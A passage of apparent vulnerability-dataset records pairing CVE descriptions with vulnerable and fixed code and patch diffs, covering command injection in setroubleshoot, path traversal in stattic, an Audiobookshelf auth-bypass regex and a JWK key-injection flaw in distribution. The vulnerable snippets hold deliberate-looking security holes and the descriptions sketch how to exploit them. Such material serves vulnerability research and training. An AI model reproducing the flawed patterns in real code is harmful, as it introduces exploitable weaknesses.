config.tmpPath)\nconfig.defaultNotePath = path.resolve(appRootPath, config.defaultNotePath)\nconfig.docsPath = path.resolve(appRootPath, config.docsPath)\nconfig.uploadsPath = path.resolve(appRootPath, config.uploadsPath)\n\n// make config readonly\nconfig = deepFreeze(config)\n\nmodule.exports = config"}], "fix_func": [{"id": "fix_js_293_1", "commit": "c1789474020a6d668d616464cb2da5e90e123f65", "file_path": "lib/config/index.js", "start_line": 1, "end_line": 215, "snippet": "\n'use strict'\n\nconst crypto = require('crypto')\nconst fs = require('fs')\nconst path = require('path')\nconst { merge } = require('lodash')\nconst deepFreeze = require('deep-freeze')\nconst { Environment, Permission } = require('./enum')\nconst logger = require('../logger')\nconst { getGitCommit, getGitHubURL } = require('./utils')\n\nconst appRootPath = path.resolve(__dirname, '../../')\nconst env = process.env.NODE_ENV || Environment.development\nconst debugConfig = {\n  debug: (env === Environment.development)\n}\n\n// Get version string from package.json\nconst { version, repository } = require(path.join(appRootPath, 'package.json'))\n\nconst commitID = getGitCommit(appRootPath)\nconst sourceURL = getGitHubURL(repository.url, commitID || version)\nconst fullversion = commitID ? `${version}-${commitID}` : version\n\nconst packageConfig = {\n  version: version,\n  minimumCompatibleVersion: '0.5.0',\n  fullversion: fullversion,\n  sourceURL: sourceURL\n}\n\nconst configFilePath = path.resolve(appRootPath, process.env.CMD_CONFIG_FILE ||\n'config.json')\nconst fileConfig = fs.existsSync(configFilePath) ? require(configFilePath)[env] : undefined\n\nlet config = require('./default')\nmerge(config, require('./defaultSSL'))\nmerge(config, require('./oldDefault'))\nmerge(config, debugConfig)\nmerge(config, packageConfig)\nmerge(config, fileConfig)\nmerge(config, require('./oldEnvironment'))\nmerge(config, require('./hackmdEnvironment'))\nmerge(config, require('./environment'))\nmerge(config, require('./dockerSecret'))\n\nif (['debug', 'verbose', 'info', 'warn', 'error'].includes(config.loglevel)) {\n  logger.level = config.loglevel\n} else {\n  logger.error('Selected loglevel %s doesn\\'t exist, using default level \\'debug\\'. Available options: debug, verbose, info, warn, error', config.loglevel)\n}\n\n// load LDAP CA\nif (config.ldap.tlsca) {\n  let ca = config.ldap.tlsca.split(',')\n  let caContent = []\n  for (let i of ca) {\n    if (fs.existsSync(i)) {\n      caContent.push(fs.readFileSync(i, 'utf8'))\n    }\n  }\n  let tlsOptions = {\n    ca: caContent\n  }\n  config.ldap.tlsOptions = config.ldap.tlsOptions ? Object.assign(config.ldap.tlsOptions, tlsOptions) : tlsOptions\n}\n\n// Permission\nconfig.permission = Permission\nif (!config.allowAnonymous && !config.allowAnonymousEdits) {\n  delete config.permission.freely\n}\nif (!(config.defaultPermission in config.permission)) {\n  config.defaultPermission = config.permission.editable\n}\n\n// cache result, cannot change config in runtime!!!\nconfig.isStandardHTTPsPort = (function isStandardHTTPsPort () {\n  return config.useSSL && config.port === 443\n})()\nconfig.isStandardHTTPPort = (function isStandardHTTPPort () {\n  return !config.useSSL && config.port === 80\n})()\n\n// cache serverURL\nconfig.serverURL = (function getserverurl () {\n  var url = ''\n  if (config.domain) {\n    var protocol = config.protocolUseSSL ? 'https://' : 'http://'\n    url = protocol + config.domain\n    if (config.urlAddPort) {\n      if (!config.isStandardHTTPPort || !config.isStandardHTTPsPort) {\n        url += ':' + config.port\n      }\n    }\n  }\n  if (config.urlPath) {\n    url += '/' + config.urlPath\n  }\n  return url\n})()\n\nif (config.serverURL === '') {\n  logger.warn('Neither \\'domain\\' nor \\'CMD_DOMAIN\\' is configured. This can cause issues with various components.\\nHint: Make sure \\'protocolUseSSL\\' and \\'urlAddPort\\' or \\'CMD_PROTOCOL_USESSL\\' and \\'CMD_URL_ADDPORT\\' are configured properly.')\n}\n\nconfig.Environment = Environment\n\n// auth method\nconfig.isFacebookEnable = config.facebook.clientID && config.facebook.clientSecret\nconfig.isGoogleEnable = config.google.clientID && config.google.clientSecret\nconfig.isDropboxEnable = config.dropbox.clientID && config.dropbox.clientSecret\nconfig.isTwitterEnable = config.twitter.consumerKey && config.twitter.consumerSecret\nconfig.isEmailEnable = config.email\nconfig.isOpenIDEnable = config.openID\nconfig.isGitHubEnable = config.github.clientID && config.github.clientSecret\nconfig.isGitLabEnable = config.gitlab.clientID && config.gitlab.clientSecret\nconfig.isMattermostEnable = config.mattermost.clientID && config.mattermost.clientSecret\nconfig.isLDAPEnable = config.ldap.url\nconfig.isSAMLEnable = config.saml.idpSsoUrl\nconfig.isOAuth2Enable = config.oauth2.clientID && config.oauth2.clientSecret\nconfig.isPDFExportEnable = config.allowPDFExport\n\n// Check gitlab api version\nif (config.gitlab && config.gitlab.version !== 'v4' && config.gitlab.version !== 'v3') {\n  logger.warn('config.js contains wrong version (' + config.gitlab.version + ') for gitlab api; it should be \\'v3\\' or \\'v4\\'. Defaulting to v4')\n  config.gitlab.version = 'v4'\n}\n// If gitlab scope is api, enable snippets Export/import\nconfig.isGitlabSnippetsEnable = (!config.gitlab.scope || config.gitlab.scope === 'api') && config.isGitLabEnable\n\n// Only update i18n files in development setups\nconfig.updateI18nFiles = (env === Environment.development)\n\n// merge legacy values\nlet keys = Object.keys(config)\nconst uppercase = /[A-Z]/\nfor (let i = keys.length; i--;) {\n  let lowercaseKey = keys[i].toLowerCase()\n  // if the config contains uppercase letters\n  // and a lowercase version of this setting exists\n  // and the config with uppercase is not set\n  // we set the new config using the old key.\n  if (uppercase.test(keys[i]) &&\n  config[lowercaseKey] !== undefined &&\n  fileConfig[keys[i]] === undefined) {\n    logger.warn('config.js contains deprecated lowercase setting for ' + keys[i] + '. Please change your config.js file to replace ' + lowercaseKey + ' with ' + keys[i])\n    config[keys[i]] = config[lowercaseKey]\n  }\n}\n\n// Notify users about the prefix change and inform them they use legacy prefix for environment variables\nif (Object.keys(process.env).toString().indexOf('HMD_') !== -1) {\n  logger.warn('Using legacy HMD prefix for environment variables. Please change your variables in future. For details see: https://github.com/codimd/server#environment-variables-will-overwrite-other-server-configs')\n}\n\n// Generate session secret if it stays on default values\nif (config.sessionSecret === 'secret') {\n  logger.warn('Session secret not set. Using random generated one. Please set `sessionSecret` in your config.js file. All users will be logged out.')\n  config.sessionSecret = crypto.randomBytes(Math.ceil(config.sessionSecretLen / 2)) // generate crypto graphic random number\n    .toString('hex') // convert to hexadecimal format\n    .slice(0, config.sessionSecretLen) // return required number of characters\n}\n\n// Validate upload upload providers\nif (['filesystem', 's3', 'minio', 'imgur', 'azure', 'lutim'].indexOf(config.imageUploadType) === -1) {\n  logger.error('\"imageuploadtype\" is not correctly set. Please use \"filesystem\", \"s3\", \"minio\", \"azure\", \"lutim\" or \"imgur\". Defaulting to \"filesystem\"')\n  config.imageUploadType = 'filesystem'\n}\n\n// figure out mime types for image uploads\nswitch (config.imageUploadType) {\n  case 'imgur':\n    config.allowedUploadMimeTypes = [\n      'image/jpeg',\n      'image/png',\n      'image/jpg',\n      'image/gif'\n    ]\n    break\n  default:\n    config.allowedUploadMimeTypes = [\n      'image/jpeg',\n      'image/png',\n      'image/jpg',\n      'image/gif',\n      'image/svg+xml'\n    ]\n}\n\n// Disable PDF export due to security issue\nif (config.allowPDFExport) {\n  config.allowPDFExport = false\n  logger.warn('PDF export was disabled for this release to mitigate a critical security issue. This feature will hopefully become available again in future releases.')\n}\n\n// generate correct path\nconfig.sslCAPath.forEach(function (capath, i, array) {\n  array[i] = path.resolve(appRootPath, capath)\n})\n\nconfig.sslCertPath = path.resolve(appRootPath, config.sslCertPath)\nconfig.sslKeyPath = path.resolve(appRootPath, config.sslKeyPath)\nconfig.dhParamPath = path.resolve(appRootPath, config.dhParamPath)\nconfig.viewPath = path.resolve(appRootPath, config.viewPath)\nconfig.tmpPath = path.resolve(appRootPath, config.tmpPath)\nconfig.defaultNotePath = path.resolve(appRootPath, config.defaultNotePath)\nconfig.docsPath = path.resolve(appRootPath, config.docsPath)\nconfig.uploadsPath = path.resolve(appRootPath, config.uploadsPath)\n\n// make config readonly\nconfig = deepFreeze(config)\n\nmodule.exports = config"}], "vul_patch": "--- a/lib/config/index.js\n+++ b/lib/config/index.js\n@@ -189,6 +189,12 @@\n     ]\n }\n \n+// Disable PDF export due to security issue\n+if (config.allowPDFExport) {\n+  config.allowPDFExport = false\n+  logger.warn('PDF export was disabled for this release to mitigate a critical security issue. This feature will hopefully become available again in future releases.')\n+}\n+\n // generate correct path\n config.sslCAPath.forEach(function (capath, i, array) {\n   array[i] = path.resolve(appRootPath, capath)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3101", "cve_description": "Hotdog, prior to v1.0.1, did not mimic the capabilities or the SELinux label of the target JVM process. This would allow a container to gain full privileges on the host, bypassing restrictions set on the container.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/bottlerocket-os/hotdog", "patch_url": ["https://github.com/bottlerocket-os/hotdog/commit/a6fc818dfc5da42f02807250845f75aac0ee9018"], "programing_language": "Go", "vul_func": [{"id": "vul_go_208_1", "commit": "89bd117", "file_path": "cmd/hotdog-poststart-hook/main.go", "start_line": 18, "end_line": 29, "snippet": "func _main() error {\n\tstate, err := hook.State()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thotpatch := exec.Command(\"nsenter\",\n\t\t\"-t\", strconv.Itoa(state.Pid),\n\t\t\"-m\", \"-n\", \"-i\", \"-u\", \"-p\",\n\t\tfilepath.Join(hotdog.ContainerDir, hotdog.HotpatchBinary))\n\treturn hotpatch.Start()\n}"}], "fix_func": [{"id": "fix_go_208_1", "commit": "a6fc818dfc5da42f02807250845f75aac0ee9018", "file_path": "cmd/hotdog-poststart-hook/main.go", "start_line": 21, "end_line": 42, "snippet": "func _main() error {\n\tstate, err := hook.State()\n\tif err != nil {\n\t\treturn err\n\t}\n\tspec, err := hook.Config(state)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif spec.Process.SelinuxLabel != \"\" {\n\t\truntime.LockOSThread()\n\t\tdefer runtime.UnlockOSThread()\n\t\tif err := selinux.SetExecLabel(spec.Process.SelinuxLabel); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\thotpatch := exec.Command(\"nsenter\",\n\t\t\"-t\", strconv.Itoa(state.Pid),\n\t\t\"-m\", \"-n\", \"-i\", \"-u\", \"-p\",\n\t\tfilepath.Join(hotdog.ContainerDir, hotdog.HotpatchBinary))\n\treturn hotpatch.Start()\n}"}], "vul_patch": "--- a/cmd/hotdog-poststart-hook/main.go\n+++ b/cmd/hotdog-poststart-hook/main.go\n@@ -3,7 +3,17 @@\n \tif err != nil {\n \t\treturn err\n \t}\n-\n+\tspec, err := hook.Config(state)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n+\tif spec.Process.SelinuxLabel != \"\" {\n+\t\truntime.LockOSThread()\n+\t\tdefer runtime.UnlockOSThread()\n+\t\tif err := selinux.SetExecLabel(spec.Process.SelinuxLabel); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\t}\n \thotpatch := exec.Command(\"nsenter\",\n \t\t\"-t\", strconv.Itoa(state.Pid),\n \t\t\"-m\", \"-n\", \"-i\", \"-u\", \"-p\",\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-4446", "cve_description": "The allow_execstack plugin for setroubleshoot allows local users to execute arbitrary commands by triggering an execstack SELinux denial with a crafted filename, related to the commands.getoutput function.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/fedora-selinux/setroubleshoot", "patch_url": ["https://github.com/fedora-selinux/setroubleshoot/commit/eaccf4c0d20a27d3df5ff6de8c9dcc80f6f40718"], "programing_language": "Python", "vul_func": [{"id": "vul_py_392_1", "commit": "dda55aa50db95a25f0d919c3a0d5871827cdc40f", "file_path": "plugins/src/allow_execstack.py", "start_line": 29, "end_line": 34, "snippet": "def is_execstack(path):\n    if path[0] != \"/\":\n        return False\n\n    x = commands.getoutput(\"execstack -q %s\" % path).split()\n    return ( x[0]  == \"X\" )"}, {"id": "vul_py_392_2", "commit": "dda55aa50db95a25f0d919c3a0d5871827cdc40f", "file_path": "plugins/src/allow_execstack.py", "start_line": 36, "end_line": 50, "snippet": "def find_execstack(exe, pid):\n    execstacklist = []\n    for path in commands.getoutput(\"ldd %s\" % exe).split():\n        if is_execstack(path) and path not in execstacklist:\n                execstacklist.append(path)\n    try:\n        fd = open(\"/proc/%s/maps\" % pid , \"r\")\n        for rec in fd.readlines():\n            for path in rec.split():\n                if is_execstack(path) and path not in execstacklist:\n                    execstacklist.append(path)\n    except IOError:\n        pass\n\n    return execstacklist"}], "fix_func": [{"id": "fix_py_392_1", "commit": "eaccf4c0d20a27d3df5ff6de8c9dcc80f6f40718", "file_path": "plugins/src/allow_execstack.py", "start_line": 29, "end_line": 34, "snippet": "def is_execstack(path):\n    if path[0] != \"/\":\n        return False\n\n    x = subprocess.check_output([\"execstack\",  \"-q\", path], universal_newlines=True).split()\n    return ( x[0] == \"X\" )"}, {"id": "fix_py_392_2", "commit": "eaccf4c0d20a27d3df5ff6de8c9dcc80f6f40718", "file_path": "plugins/src/allow_execstack.py", "start_line": 36, "end_line": 50, "snippet": "def find_execstack(exe, pid):\n    execstacklist = []\n    for path in subprocess.check_output([\"ldd\", exe], universal_newlines=True).split():\n        if is_execstack(path) and path not in execstacklist:\n                execstacklist.append(path)\n    try:\n        fd = open(\"/proc/%s/maps\" % pid , \"r\")\n        for rec in fd.readlines():\n            for path in rec.split():\n                if is_execstack(path) and path not in execstacklist:\n                    execstacklist.append(path)\n    except IOError:\n        pass\n\n    return execstacklist"}], "vul_patch": "--- a/plugins/src/allow_execstack.py\n+++ b/plugins/src/allow_execstack.py\n@@ -2,5 +2,5 @@\n     if path[0] != \"/\":\n         return False\n \n-    x = commands.getoutput(\"execstack -q %s\" % path).split()\n-    return ( x[0]  == \"X\" )\n+    x = subprocess.check_output([\"execstack\",  \"-q\", path], universal_newlines=True).split()\n+    return ( x[0] == \"X\" )\n\n--- a/plugins/src/allow_execstack.py\n+++ b/plugins/src/allow_execstack.py\n@@ -1,6 +1,6 @@\n def find_execstack(exe, pid):\n     execstacklist = []\n-    for path in commands.getoutput(\"ldd %s\" % exe).split():\n+    for path in subprocess.check_output([\"ldd\", exe], universal_newlines=True).split():\n         if is_execstack(path) and path not in execstacklist:\n                 execstacklist.append(path)\n     try:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-25205", "cve_description": "Audiobookshelf is a self-hosted audiobook and podcast server. Starting in version 2.17.0 and prior to version 2.19.1, a flaw in the authentication bypass logic allows unauthenticated requests to match certain unanchored regex patterns in the URL. Attackers can craft URLs containing substrings like \"/api/items/1/cover\" in a query parameter (?r=/api/items/1/cover) to partially bypass authentication or trigger server crashes under certain routes. This could lead to information disclosure of otherwise protected data and, in some cases, a complete denial of service (server crash) if downstream code expects an authenticated user object. Version 2.19.1 contains a patch for the issue.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/advplyr/audiobookshelf", "patch_url": ["https://github.com/advplyr/audiobookshelf/commit/bf8407274e3ee300af1927ee660d078a7a801e1c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_250_1", "commit": "3bc2941", "file_path": "server/Auth.js", "start_line": 18, "end_line": 22, "snippet": "  constructor() {\n    // Map of openId sessions indexed by oauth2 state-variable\n    this.openIdAuthSession = new Map()\n    this.ignorePattern = /\\/api\\/items\\/[^/]+\\/cover/\n  }"}, {"id": "vul_js_250_2", "commit": "3bc2941", "file_path": "server/Auth.js", "start_line": 30, "end_line": 32, "snippet": "  authNotNeeded(req) {\n    return req.method === 'GET' && this.ignorePattern.test(req.originalUrl)\n  }"}], "fix_func": [{"id": "fix_js_250_1", "commit": "bf8407274e3ee300af1927ee660d078a7a801e1c", "file_path": "server/Auth.js", "start_line": 18, "end_line": 22, "snippet": "  constructor() {\n    // Map of openId sessions indexed by oauth2 state-variable\n    this.openIdAuthSession = new Map()\n    this.ignorePatterns = [/\\/api\\/items\\/[^/]+\\/cover/, /\\/api\\/authors\\/[^/]+\\/image/]\n  }"}, {"id": "fix_js_250_2", "commit": "bf8407274e3ee300af1927ee660d078a7a801e1c", "file_path": "server/Auth.js", "start_line": 30, "end_line": 32, "snippet": "  authNotNeeded(req) {\n    return req.method === 'GET' && this.ignorePatterns.some((pattern) => pattern.test(req.originalUrl))\n  }"}], "vul_patch": "--- a/server/Auth.js\n+++ b/server/Auth.js\n@@ -1,5 +1,5 @@\n   constructor() {\n     // Map of openId sessions indexed by oauth2 state-variable\n     this.openIdAuthSession = new Map()\n-    this.ignorePattern = /\\/api\\/items\\/[^/]+\\/cover/\n+    this.ignorePatterns = [/\\/api\\/items\\/[^/]+\\/cover/, /\\/api\\/authors\\/[^/]+\\/image/]\n   }\n\n--- a/server/Auth.js\n+++ b/server/Auth.js\n@@ -1,3 +1,3 @@\n   authNotNeeded(req) {\n-    return req.method === 'GET' && this.ignorePattern.test(req.originalUrl)\n+    return req.method === 'GET' && this.ignorePatterns.some((pattern) => pattern.test(req.originalUrl))\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3734", "cve_description": "stattic node module suffers from a Path Traversal vulnerability due to lack of validation of path, which allows a malicious user to read content of any file with known path.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/jmjuanes/stattic", "patch_url": ["https://github.com/jmjuanes/stattic/commit/1649daafa646b12d7311640690df967b0107d768"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_41_1", "commit": "952c145", "file_path": "index.js", "start_line": 31, "end_line": 106, "snippet": "module.exports.listen = function (port, cb) {\n    //Parse the arguments\n    cb = (typeof port === \"function\") ? port : cb;\n    port = (typeof port === \"number\") ? parseInt(port) : options.port;\n\n    //Get the static files folder path\n    options.folder = path.resolve(process.cwd(), options.folder);\n\n    //Get the error file path\n    options.error = path.resolve(process.cwd(), options.error);\n\n    //Initialize the server\n    let server = http.createServer(function (req, res) {\n        let timeStart = Date.now();\n\n        //Check the cors option\n        if (options.cors === true) {\n            res.setHeader(\"Access-Control-Allow-Origin\", \"*\");\n            res.setHeader(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS, PUT, PATCH, DELETE\");\n            res.setHeader(\"Access-Control-Allow-Headers\", \"X-Requested-With,content-type\");\n        }\n        let pathname = url.parse(req.url).pathname;\n        let localPath = path.join(options.folder, pathname);\n        if (path.extname(localPath) === \"\") {\n            //Add the index file to the local path\n            localPath = path.join(localPath, \"./\" + path.basename(options.index));\n        }\n\n        //Reponse finish event\n        res.on(\"finish\", function () {\n            console.log(\"\" + res.statusCode + \"  \" + pathname + \"  \" + (Date.now() - timeStart) + \" ms\");\n        });\n\n        //Check if the file exists in this directory\n        return utily.fs.isFile(localPath, function (error, exists) {\n            if (error) {\n                return errorPage(res, 500, \"Error processing your request.\");\n            }\n            if (exists === false) {\n                return errorPage(res, 404, \"File not found.\");\n            }\n\n            //Write the header with the content type\n            res.writeHead(200, {\"Content-Type\": mime.getType(localPath)});\n\n            //Initialize the reader stream\n            //let reader = fs.createReadStream(local_path, { encoding: \"utf8\" });\n            //Remove encoding -> fixed bug reading images (jpg, png, etc...)\n            let reader = fs.createReadStream(localPath);\n            reader.on(\"data\", function (data) {\n                //Write the data to the response\n                res.write(data);\n            });\n            reader.on(\"end\", function () {\n                res.end(\"\");\n            });\n            reader.on(\"error\", function (error) {\n                return errorPage(res, 500, \"Something went wrong...\");\n            })\n        });\n    });\n\n    //Start server\n    server.listen(port, function () {\n        if (typeof cb === \"function\") {\n            cb.call(null);\n        }\n        else {\n            //Show the console log success\n            console.log(\"\");\n            console.log(\"Static server listening on: \" + \"http://localhost:\" + options.port + \"\");\n            console.log(\"Reading files from: \" + options.folder + \"\");\n            console.log(\"\");\n        }\n    });\n};"}], "fix_func": [{"id": "fix_js_41_1", "commit": "1649daafa646b12d7311640690df967b0107d768", "file_path": "index.js", "start_line": 31, "end_line": 107, "snippet": "module.exports.listen = function (port, cb) {\n    //Parse the arguments\n    cb = (typeof port === \"function\") ? port : cb;\n    port = (typeof port === \"number\") ? parseInt(port) : options.port;\n\n    //Get the static files folder path\n    options.folder = path.resolve(process.cwd(), options.folder);\n\n    //Get the error file path\n    options.error = path.resolve(process.cwd(), options.error);\n\n    //Initialize the server\n    let server = http.createServer(function (req, res) {\n        let timeStart = Date.now();\n\n        //Check the cors option\n        if (options.cors === true) {\n            res.setHeader(\"Access-Control-Allow-Origin\", \"*\");\n            res.setHeader(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS, PUT, PATCH, DELETE\");\n            res.setHeader(\"Access-Control-Allow-Headers\", \"X-Requested-With,content-type\");\n        }\n        let pathname = url.parse(req.url).pathname;\n        pathname = path.normalize(pathname); //Fix path traversal\n        let localPath = path.join(options.folder, pathname);\n        if (path.extname(localPath) === \"\") {\n            //Add the index file to the local path\n            localPath = path.join(localPath, \"./\" + path.basename(options.index));\n        }\n\n        //Reponse finish event\n        res.on(\"finish\", function () {\n            console.log(\"\" + res.statusCode + \"  \" + pathname + \"  \" + (Date.now() - timeStart) + \" ms\");\n        });\n\n        //Check if the file exists in this directory\n        return utily.fs.isFile(localPath, function (error, exists) {\n            if (error) {\n                return errorPage(res, 500, \"Error processing your request.\");\n            }\n            if (exists === false) {\n                return errorPage(res, 404, \"File not found.\");\n            }\n\n            //Write the header with the content type\n            res.writeHead(200, {\"Content-Type\": mime.getType(localPath)});\n\n            //Initialize the reader stream\n            //let reader = fs.createReadStream(local_path, { encoding: \"utf8\" });\n            //Remove encoding -> fixed bug reading images (jpg, png, etc...)\n            let reader = fs.createReadStream(localPath);\n            reader.on(\"data\", function (data) {\n                //Write the data to the response\n                res.write(data);\n            });\n            reader.on(\"end\", function () {\n                res.end(\"\");\n            });\n            reader.on(\"error\", function (error) {\n                return errorPage(res, 500, \"Something went wrong...\");\n            })\n        });\n    });\n\n    //Start server\n    server.listen(port, function () {\n        if (typeof cb === \"function\") {\n            cb.call(null);\n        }\n        else {\n            //Show the console log success\n            console.log(\"\");\n            console.log(\"Static server listening on: \" + \"http://localhost:\" + options.port + \"\");\n            console.log(\"Reading files from: \" + options.folder + \"\");\n            console.log(\"\");\n        }\n    });\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -20,6 +20,7 @@\n             res.setHeader(\"Access-Control-Allow-Headers\", \"X-Requested-With,content-type\");\n         }\n         let pathname = url.parse(req.url).pathname;\n+        pathname = path.normalize(pathname); //Fix path traversal\n         let localPath = path.join(options.folder, pathname);\n         if (path.extname(localPath) === \"\") {\n             //Add the index file to the local path\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-3734:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/stattic\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest --forceExit ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2024-47531", "cve_description": "Scout is a web-based visualizer for VCF-files. Due to the lack of sanitization in the filename, it is possible bypass intended file extension and make users download malicious files with any extension. With malicious content injected inside the file data and users unknowingly downloading it and opening may lead to the compromise of users' devices or data. This vulnerability is fixed in 4.89.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/Clinical-Genomics/scout", "patch_url": ["https://github.com/Clinical-Genomics/scout/commit/f59e50f8ea596e641da8a0e9c7a33c0696bcbea5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_381_1", "commit": "679c42e635d4554c630a0018420b163586f9ef48", "file_path": "scout/server/blueprints/panels/controllers.py", "start_line": 303, "end_line": 319, "snippet": "def downloaded_panel_name(panel_obj, format) -> str:\n    \"\"\"Return a string with the file name to be downloaded\n\n    Args:\n        panel_obj(dict): scout.models.panel.gene_panel\n        format(str): \"pdf\" or \"txt\"\n    Returns:\n        a string describing the panel\n    \"\"\"\n    return \"_\".join(\n        [\n            panel_obj[\"panel_name\"],\n            str(panel_obj[\"version\"]),\n            dt.datetime.now().strftime(DATE_DAY_FORMATTER),\n            f\"scout.{format}\",\n        ]\n    )"}], "fix_func": [{"id": "fix_py_381_1", "commit": "f59e50f8ea596e641da8a0e9c7a33c0696bcbea5", "file_path": "scout/server/blueprints/panels/controllers.py", "start_line": 304, "end_line": 322, "snippet": "def downloaded_panel_name(panel_obj, format) -> str:\n    \"\"\"Return a string with the file name to be downloaded\n\n    Args:\n        panel_obj(dict): scout.models.panel.gene_panel\n        format(str): \"pdf\" or \"txt\"\n    Returns:\n        a string describing the panel\n    \"\"\"\n    sanitized_panel_id = re.sub(r\"[^a-zA-Z_\\-]+\", \"\", panel_obj[\"panel_name\"])\n\n    return \"_\".join(\n        [\n            sanitized_panel_id,\n            str(panel_obj[\"version\"]),\n            dt.datetime.now().strftime(DATE_DAY_FORMATTER),\n            f\"scout.{format}\",\n        ]\n    )"}], "vul_patch": "--- a/scout/server/blueprints/panels/controllers.py\n+++ b/scout/server/blueprints/panels/controllers.py\n@@ -7,9 +7,11 @@\n     Returns:\n         a string describing the panel\n     \"\"\"\n+    sanitized_panel_id = re.sub(r\"[^a-zA-Z_\\-]+\", \"\", panel_obj[\"panel_name\"])\n+\n     return \"_\".join(\n         [\n-            panel_obj[\"panel_name\"],\n+            sanitized_panel_id,\n             str(panel_obj[\"version\"]),\n             dt.datetime.now().strftime(DATE_DAY_FORMATTER),\n             f\"scout.{format}\",\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-24976", "cve_description": "Distribution is a toolkit to pack, ship, store, and deliver container content. Systems running registry versions 3.0.0-beta.1 through 3.0.0-rc.2 with token authentication enabled may be vulnerable to an issue in which token authentication allows an attacker to inject an untrusted signing key in a JSON web token (JWT). The issue lies in how the JSON web key (JWK) verification is performed. When a JWT contains a JWK header without a certificate chain, the code only checks if the KeyID (`kid`) matches one of the trusted keys, but doesn't verify that the actual key material matches. A fix for the issue is available at commit 5ea9aa028db65ca5665f6af2c20ecf9dc34e5fcd and expected to be a part of version 3.0.0-rc.3. There is no way to work around this issue without patching if the system requires token authentication.", "cwe_info": {"CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/distribution/distribution", "patch_url": ["https://github.com/distribution/distribution/commit/5ea9aa028db65ca5665f6af2c20ecf9dc34e5fcd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_68_1", "commit": "939a525", "file_path": "registry/auth/token/token.go", "start_line": 215, "end_line": 251, "snippet": "func verifyJWK(header jose.Header, verifyOpts VerifyOptions) (signingKey crypto.PublicKey, err error) {\n\tjwk := header.JSONWebKey\n\tsigningKey = jwk.Key\n\n\t// Check to see if the key includes a certificate chain.\n\tif len(jwk.Certificates) == 0 {\n\t\t// The JWK should be one of the trusted root keys.\n\t\tif _, trusted := verifyOpts.TrustedKeys[jwk.KeyID]; !trusted {\n\t\t\treturn nil, errors.New(\"untrusted JWK with no certificate chain\")\n\t\t}\n\t\t// The JWK is one of the trusted keys.\n\t\treturn\n\t}\n\n\topts := x509.VerifyOptions{\n\t\tRoots:     verifyOpts.Roots,\n\t\tKeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageAny},\n\t}\n\n\tleaf := jwk.Certificates[0]\n\tif opts.Intermediates == nil {\n\t\topts.Intermediates = x509.NewCertPool()\n\t\tfor _, intermediate := range jwk.Certificates[1:] {\n\t\t\topts.Intermediates.AddCert(intermediate)\n\t\t}\n\t}\n\n\t// TODO: this call returns certificate chains which we ignore for now, but\n\t// we should check them for revocations if we have the ability later.\n\tchains, err := leaf.Verify(opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsigningKey = getCertPubKey(chains)\n\n\treturn\n}"}], "fix_func": [{"id": "fix_go_68_1", "commit": "5ea9aa0", "file_path": "registry/auth/token/token.go", "start_line": 215, "end_line": 250, "snippet": "func verifyJWK(header jose.Header, verifyOpts VerifyOptions) (crypto.PublicKey, error) {\n\tjwk := header.JSONWebKey\n\n\t// Check to see if the key includes a certificate chain.\n\tif len(jwk.Certificates) == 0 {\n\t\t// The JWK should be one of the trusted root keys.\n\t\tkey, trusted := verifyOpts.TrustedKeys[jwk.KeyID]\n\t\tif !trusted {\n\t\t\treturn nil, errors.New(\"untrusted JWK with no certificate chain\")\n\t\t}\n\t\t// The JWK is one of the trusted keys.\n\t\treturn key, nil\n\t}\n\n\topts := x509.VerifyOptions{\n\t\tRoots:     verifyOpts.Roots,\n\t\tKeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageAny},\n\t}\n\n\tleaf := jwk.Certificates[0]\n\tif opts.Intermediates == nil {\n\t\topts.Intermediates = x509.NewCertPool()\n\t\tfor _, intermediate := range jwk.Certificates[1:] {\n\t\t\topts.Intermediates.AddCert(intermediate)\n\t\t}\n\t}\n\n\t// TODO: this call returns certificate chains which we ignore for now, but\n\t// we should check them for revocations if we have the ability later.\n\tchains, err := leaf.Verify(opts)\n\tif 